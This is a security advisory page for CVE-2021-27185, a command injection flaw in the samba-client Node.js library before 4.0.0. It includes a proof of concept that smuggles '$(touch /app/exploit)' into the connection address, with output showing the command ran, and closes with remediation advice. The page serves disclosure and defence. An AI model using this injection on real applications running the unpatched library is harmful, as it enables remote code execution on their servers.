--- title: "CX-2021-4302" date: "2021-02-09T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4302/" --- # CX-2021-4302 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) Fixed: Feb 9, 2021 CVE-2021-27185 **Published:** Feb 9, 2021 9.8 Critical Severity javascript node nodejs npm RCE typescript FF Fábio Freitas Reported by Checkmarx Zero Details Overview ## Summary The samba-client library for NodeJS before version 4.0.0 suffers from a command injection vulnerability. In the cases that this library is used in a project where the connection parameters may be defined by untrusted input, a malicious actor will be able to use this to inject malicious commands in the server hosting the Node JS application. ## Product samba-client before 4.0.0 ## Impact This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted inputs. ## Steps to reproduce 1. In a new folder create the following files: ```dockerfile # Dockerfile FROM node:10-slim WORKDIR /app RUN npm i samba-client COPY poc.js /app/poc.js ENTRYPOINT ls -l /app && node poc.js && ls -l /app ``` ```js // poc.js const SambaClient = require('samba-client'); let client = new SambaClient({ address: '//server/folder $(touch /app/exploit)', username: 'test', password: 'test', domain: 'WORKGROUP', maxProtocol: 'SMB3', maskCmd: true, }); async function run() { try { await client.mkdir("test"); } catch (err) { console.log(err); } } run(); ``` 2. Run `docker build . -t poc` 3. Run `docker start poc` ### Expected result: A file named `exploit` has been created ``` total 12 drwxr-xr-x 3 root root 4096 Feb 4 14:16 node_modules -rw-r--r-- 1 root root 329 Feb 4 14:16 package-lock.json -rw-rw-r-- 1 root root 471 Feb 4 14:24 poc.js { Error: /bin/sh: 1: smbclient: not found at ChildProcess.exithandler (child_process.js:294:12) at ChildProcess.emit (events.js:198:13) at maybeClose (internal/child_process.js:982:16) at Process.ChildProcess._handle.onexit (internal/child_process.js:259:5) killed: false, code: 127, signal: null, cmd: 'smbclient -U 'test' -c 'mkdir test' //server/folder $(touch /app/exploit) 'test' -W WORKGROUP --max-protocol SMB3' } total 12 -rw-r--r-- 1 root root 0 Feb 5 15:18 exploit drwxr-xr-x 3 root root 4096 Feb 4 14:16 node_modules -rw-r--r-- 1 root root 329 Feb 4 14:16 package-lock.json -rw-rw-r-- 1 root root 471 Feb 4 14:24 poc.js ``` ## Remediation We recommend not using an API that can interpret a string as a shell command. For example, use `child_process.execFile` instead of `child_process.exec`. ## Credit This issue was discovered and reported by Checkmarx SCA Security Researcher [@0xfabiof (Fábio Freitas)](https://twitter.com/0xfabiof). ## Resources 1. [5bc3bba](https://github.com/eflexsystems/node-samba-client/commit/5bc3bbad9b8d02243bc861a11ec73f788fbb1235) 2. [Release Notes](https://github.com/eflexsystems/node-samba-client/releases/tag/4.0.0) 0 Critical Severity CVSS v3.1 Score 9.8 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: High Advisory Timeline1. Discovered Feb 8, 2021 Notified developer 2. Fixed Feb 9, 2021 [\[email protected\]](https://checkmarx.com/cdn-cgi/l/email-protection) was released ## Explore more findings [27 Nov 2025 CVE-2025-34281 Stored Cross-Site Scripting (XSS) in ThingsBoard 6.2 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825 HTTP Response Splitting in cpp-httplib 6.9 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050 Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface 4.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374 Code Injection in UltiMaker Cura 7.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497 Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496 Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [ 14 Nov 2024 CVE-2024-51495 Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field 7.5 Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351 Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)